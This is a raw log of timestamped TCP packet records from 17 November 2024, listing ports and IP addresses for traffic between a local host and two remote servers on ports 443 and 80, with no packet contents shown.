Nov 17, 2024 01:38:20.257261992 CET	49747	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.257291079 CET	443	49747	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.257378101 CET	49747	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.257513046 CET	49747	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.257529020 CET	443	49747	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.270092964 CET	443	49744	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.270255089 CET	443	49744	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.270338058 CET	49744	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.270613909 CET	49744	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.270613909 CET	49744	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.270653009 CET	443	49744	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.270679951 CET	443	49744	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.272778988 CET	49748	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.272799969 CET	443	49748	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.272890091 CET	49748	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.273072958 CET	49748	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.273088932 CET	443	49748	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.338803053 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.338937044 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.338956118 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.338989973 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.339025021 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.339061022 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.339095116 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.339132071 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.339132071 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.339133024 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.339133024 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.339133024 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.339167118 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.339180946 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.339180946 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.339221954 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.339612961 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.339683056 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.339720964 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.339750051 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.339782000 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.339803934 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.339874029 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.339926958 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.339932919 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.339962006 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.339979887 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.340015888 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.364756107 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.364806890 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.364844084 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.364845991 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.364873886 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.364896059 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.410381079 CET	443	49745	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.410916090 CET	49745	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.410934925 CET	443	49745	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.411385059 CET	49745	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.411389112 CET	443	49745	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.497148037 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.497205019 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.497277975 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.497294903 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.497351885 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.497354031 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.497354984 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.497391939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.497420073 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.497426987 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.497448921 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.497462988 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.497473955 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.497499943 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.497513056 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.497545958 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.498066902 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.498096943 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.498131990 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.498136997 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.498157024 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.498183012 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.498183012 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.498244047 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.498327971 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.498362064 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.498393059 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.498398066 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.498414993 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.498433113 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.498450994 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.498481989 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.498847961 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.498883009 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.498915911 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.498917103 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.498939991 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.498961926 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.537674904 CET	443	49745	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.537858009 CET	443	49745	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.537961006 CET	49745	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.538162947 CET	49745	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.538171053 CET	443	49745	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.538182974 CET	49745	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.538187981 CET	443	49745	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.541672945 CET	49749	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.541704893 CET	443	49749	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.541810036 CET	49749	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.542067051 CET	49749	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.542083025 CET	443	49749	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.615833044 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.615927935 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.655862093 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.655915976 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.655946016 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.655987978 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.655999899 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.656053066 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.656059027 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.656090975 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.656115055 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.656127930 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.656152964 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.656164885 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.656189919 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.656199932 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.656235933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.656243086 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.656279087 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.656296968 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.656711102 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.656785011 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.656790972 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.656820059 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.656841040 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.656855106 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.656877995 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.656898975 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.657139063 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.657192945 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.657205105 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.657228947 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.657248974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.657263041 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.657285929 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.657325029 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.734994888 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.735316992 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.814547062 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.814594030 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.814632893 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.814668894 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.814673901 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.814704895 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.814711094 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.814744949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.814747095 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.814783096 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.814791918 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.814810991 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.814847946 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.814879894 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.814939976 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.814954042 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.815012932 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.815341949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.815407038 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.815412045 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.815468073 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.815474033 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.815504074 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.815526962 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.815540075 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.815558910 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.815574884 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.815597057 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.815610886 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.815635920 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.815665007 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.853811026 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.853905916 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.853961945 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.854003906 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.952069044 CET	443	49746	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.953083038 CET	49746	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.953152895 CET	443	49746	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.953407049 CET	49746	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:20.953423023 CET	443	49746	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:20.972656965 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.972695112 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.972749949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.972774982 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.972775936 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.972784042 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.972819090 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.972848892 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.972848892 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.972876072 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.972987890 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.973021984 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.973043919 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.973057985 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.973088026 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.973093987 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.973108053 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.973150969 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.973344088 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.973400116 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.973411083 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.973450899 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.973455906 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.973489046 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.973506927 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.973524094 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.973540068 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.973583937 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.973968983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.974004030 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.974039078 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.974045992 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.974045992 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.974072933 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.974100113 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.974121094 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.974343061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.974376917 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.974410057 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.974414110 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:20.974431992 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:20.974473000 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.007457018 CET	443	49747	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.007898092 CET	49747	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.007914066 CET	443	49747	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.008330107 CET	49747	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.008335114 CET	443	49747	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.035244942 CET	443	49748	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.035722971 CET	49748	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.035743952 CET	443	49748	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.036360025 CET	49748	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.036365986 CET	443	49748	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.050820112 CET	443	49741	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.051297903 CET	49741	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.051321983 CET	443	49741	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.051887989 CET	49741	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.051893950 CET	443	49741	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.081433058 CET	443	49746	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.081540108 CET	443	49746	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.081620932 CET	49746	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.081803083 CET	49746	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.081825018 CET	443	49746	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.081840038 CET	49746	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.081847906 CET	443	49746	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.084896088 CET	49750	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.084923983 CET	443	49750	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.085019112 CET	49750	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.085220098 CET	49750	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.085237980 CET	443	49750	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.091352940 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.091407061 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.091425896 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.091458082 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.131372929 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.131411076 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.131473064 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.131491899 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.131508112 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.131522894 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.131541014 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.131557941 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.131572008 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.131596088 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.131611109 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.131630898 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.131649017 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.131668091 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.131683111 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.131721973 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.131846905 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.131881952 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.131906986 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.131917953 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.131931067 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.131947994 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.131973982 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.131989002 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.132149935 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.132184029 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.132211924 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.132235050 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.132239103 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.132272959 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.132292032 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.132323980 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.132324934 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.132361889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.132376909 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.132415056 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.139848948 CET	443	49747	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.140012026 CET	443	49747	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.140075922 CET	49747	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.140168905 CET	49747	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.140177965 CET	443	49747	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.140192032 CET	49747	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.140196085 CET	443	49747	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.143573046 CET	49751	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.143610001 CET	443	49751	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.143713951 CET	49751	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.143827915 CET	49751	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.143847942 CET	443	49751	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.171868086 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.171900988 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.171981096 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.172029018 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.181436062 CET	443	49748	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.181607962 CET	443	49748	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.181684971 CET	49748	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.181807995 CET	49748	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.181844950 CET	443	49748	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.181869984 CET	49748	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.181884050 CET	443	49748	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.182924986 CET	443	49741	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.182995081 CET	443	49741	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.183051109 CET	49741	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.183415890 CET	49741	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.183423042 CET	443	49741	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.183434010 CET	49741	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.183438063 CET	443	49741	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.186021090 CET	49752	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.186058044 CET	443	49752	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.186130047 CET	49752	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.186615944 CET	49752	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.186629057 CET	443	49752	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.187166929 CET	49753	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.187208891 CET	443	49753	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.187273026 CET	49753	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.187510014 CET	49753	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.187527895 CET	443	49753	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.210037947 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.210076094 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:21.210129976 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.210181952 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:21.265130997 CET	443	49749	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:21.265799046 CET	49749	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:21.265841961 CET	443	49749	13.107.246.45	192.168.2.6
